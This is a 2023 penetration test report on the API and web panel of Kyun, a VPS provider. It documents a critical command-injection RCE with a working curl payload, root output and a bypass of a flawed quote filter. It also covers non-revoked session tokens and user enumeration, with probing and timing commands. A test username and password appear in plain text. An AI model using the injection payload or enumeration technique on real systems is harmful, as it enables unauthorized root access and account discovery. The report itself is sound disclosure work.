Kyun API & Web Application Pentest Report

İ. Kuyucu, BSc. L. Četyrkinas

2023-09-15

Contents

1 Executive Summary

This report presents the results of the penetration test conducted on Kyun, a privacy-first VPS provider.

The goal of this report is to identify security weaknesses, determine their potential impact, document all findings in a clear and repeatable manner, and provide remediation recommendations.

1.1 Approach

Testing was performed under a “gray-box” approach from 2023-08-28 to 2023-09-04.

The assessment team conducted penetration tests in combination with targeted source code reviews. Automated scan results were combined with manual reviews to identify vulnerabilities.

The following credentials were provided by Kyun:

Username	Password
qegfsdavafq	W:y85mWHV*=LV+7p8+lm3UBf@oVd+}Q,

1.2 Scope

The penetration test was carried out on the following domains:

- api.kyun.host
- kyun.host
- kyun.li

1.3 Summary of Findings

Finding	Severity
Remote code execution via unsanitized parameter	Critical
Insufficient session expiration	High

Finding	Severity
User enumeration via error response	Medium

2 Finding Details

2.1 Remote code execution via unsanitized parameter

The unsanitized `url` field in JSON request data for `PUT /services/{id}/cloudinit` is vulnerable to remote code execution on Proxmox VE instances.

Severity: Critical
CWE: 78
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

2.1.1 Proof

Example payload:

```
$ curl 'https://api.kyun.host/services/FbXmhpgD/cloudinit' -X PUT \
-H 'Content-Type: application/json' -H "x-auth-token: $token" \
--data-raw $'{"password":"password123","sshkey":"ssh-ed25519
↪  AAAAC3NzaC1lZDI1NTE5AAAAIL4/n+GAqrR53vt9BuALioaFWGKPZlTZsd0Y8xODgnnB","name":"Debian 12
↪  Bookworm","url":"https://cloud.debian.org/images/cloud/bookworm/daily/latest/debian-12-
↪  generic-amd64-daily.qcow2\'\'; id >
↪  /tmp/pwned-by-digilol\'","keepKeyPrivate":false}'

"Fbbic8wG"
```

This resulted in the `id` command being executed as root user on a Proxmox VE instance with its output written to the `/tmp/pwned-by-digilol` file:

```
root@pve:~# cat /tmp/pwned-by-digilol
uid=0(root) gid=0(root) groups=0(root)
```

2.1.2 Recommendation

Corresponding code: `/packages/back/src/Server/index.ts` (Git hash: `8f7cbf887a271cdfc9557f7748de227c1f6172c7`)

```
await conn
    .execCommand(
        bash -c "(ulimit -f ${sizeLimit}; wget -N '${url.replace(
        "'",
        ''
    )}')"`,
```

Avoid invoking external commands whenever possible, try using native programming language methods. If invoking shell commands is a must, use `execFile()`. Unlike `exec()` and `execCommand()`, this method won't spawn a shell. This will mitigate most RCE attack methods. Also to note `replace("'", '')` only replaces the first occurrence of the matching string which can be avoided by including 2 single quotes as in the example payload.

2.2 Insufficient session expiration

Kyun doesn't revoke authentication tokens when users attempt to log out using the web panel. An attacker who manages to capture this token can continue to authenticate even after the user logs out.

Severity: High
CWE: 613
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

2.2.1 Recommendation

Ensure that the `x-auth-token` value associated with the user session is invalidated upon logout.

2.3 User enumeration via error response

Kyun responds with different error messages when a user doesn't exist or the password is wrong for an existing user. This allows remote attackers to determine the existence of user accounts.

Affected endpoints:

- `POST /user/login`
- `PUT /user/register`

Severity: Medium
CWE: 204
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

2.3.1 Proof

Error message when attempting to authenticate with a non-existent username:

```
$ curl -s -H 'Content-Type: application/json' 'https://api.kyun.host/user/login' -X POST
↪  --data-raw '{"password":"reiGh4eibii9egha2iga","email":"nonexistentuser"}' | jq .
{
  "message": "User does not exist"
}
```

Error message when a wrong password is supplied:

```
$ curl -s -H 'Content-Type: application/json' 'https://api.kyun.host/user/login' -X POST
↪  --data-raw '{"password":"wrongpass","email":"Iej4Ooz8Deijamah7Ea2"}' | jq .
{
  "message": "Wrong password"
}
```

2.3.2 Recommendation

Ensure an identical error response is thrown when a user doesn't exist and when a wrong password is supplied for an existing user.

Additionally, ensure that the code will go through the same process no matter what the user or the password is, allowing the application to return in approximately the same response time. This is to prevent user enumeration via timing attacks. As of writing this report, API takes significantly longer to respond when the user exists.

On average, API took 0.2102 seconds to respond to login requests with non-existent user credentials:

```
$ curl -o /dev/null -s -w 'Total: %{time_total}s\n' -H 'Content-Type: application/json'
↪  'https://api.kyun.host/user/login' -X POST --data-raw "{\"password\":\"`pwgen 20
↪  1`\",\"email\":\"`pwgen 20 1`\"}"
Total: 0.212184s
```

For an existing user, it took 0.7049 seconds on average:

```
$ curl -o /dev/null -s -w 'Total: %{time_total}s\n' -H 'Content-Type: application/json'
↪  'https://api.kyun.host/user/login' -X POST --data-raw
↪  '{"password":"reiGh4eibii9egha2iga","email":"Iej4Ooz8Deijamah7Ea2"}'
Total: 0.611607s
```

3 Conclusion

Kyun demonstrates several security weaknesses, including a critical remote code execution vulnerability, high-severity session expiration issues, and medium-severity user enumeration problems.

Note: It is important to mention that the critical remote code execution vulnerability was promptly fixed by Kyun during the course of this assessment.

4 Appendix

4.1 Severity Rating

The Digilol assessment team refers to OWASP risk rating methodology and CVSS 3.1 when assigning severity ratings.